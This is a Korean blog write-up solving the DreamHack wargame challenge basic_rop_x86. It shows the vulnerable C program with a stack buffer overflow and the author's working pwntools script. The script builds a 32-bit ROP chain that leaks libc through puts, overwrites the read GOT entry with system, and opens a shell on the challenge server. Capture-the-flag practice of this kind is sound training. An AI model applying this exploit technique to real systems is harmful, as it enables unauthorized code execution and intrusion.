Pwnable/DreamHack Wargame

[Dreamhack] basic_rop_x86 풀이

kaymin 2022. 7. 12. 23:08

교훈: 32비트 체제에서 exploit 코드짤때 함수 호출시 인자 전달은,

함수의 주소

인자 개수만큼 pop하는 리턴가젯 (어떤 레지스터에 pop하는지는 상관없는듯..아마)

함수의 인자

사실 정확한 이유는 아직 모르겠다.....

 

교훈2: 위의 32비트 체제에서 인자 전달하는 방법에서, 인자를 역순이 아니라 순서대로!! 넣는거다

인자1

인자2

인자 3

..

이렇게

 

 

문제 c코드:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
~

 

 

성공한 내 코드:

from pwn import *

p=remote('host3.dreamhack.games', 22500)
context.arch='i386'

e=ELF('./basic_rop_x86')
libc=ELF('./libc.so.6')
read_plt=e.plt['read']
read_got=e.got['read']
puts_plt=e.plt['puts']
write_plt=e.plt['write']
read_system=libc.symbols["read"]-libc.symbols["system"]
pop=0x080483d9 #pop reg <- that reg is not important...just pop mabye
pop_pop_pop=0x08048689 #this too..mabye


payload=b'A'*(0x44+4) #buf+dummy+sfp
#payload+=p32(write_plt)+p32(pop_pop_pop)+p32(0)+p32(read_got)+p32(4)  # print!
payload+=p32(puts_plt)+p32(pop)+p32(read_got)
payload+=p32(read_plt)+p32(pop_pop_pop)+p32(0)+p32(read_got)+p32(0x40) # overwrite!
payload+=p32(read_plt)+p32(pop)
payload+=p32(read_got+4)
p.send(payload)
p.recv(0x40)

system=u32(p.recvn(4))-read_system
p.send(p32(system)+b'/bin/sh\x00')

p.interactive()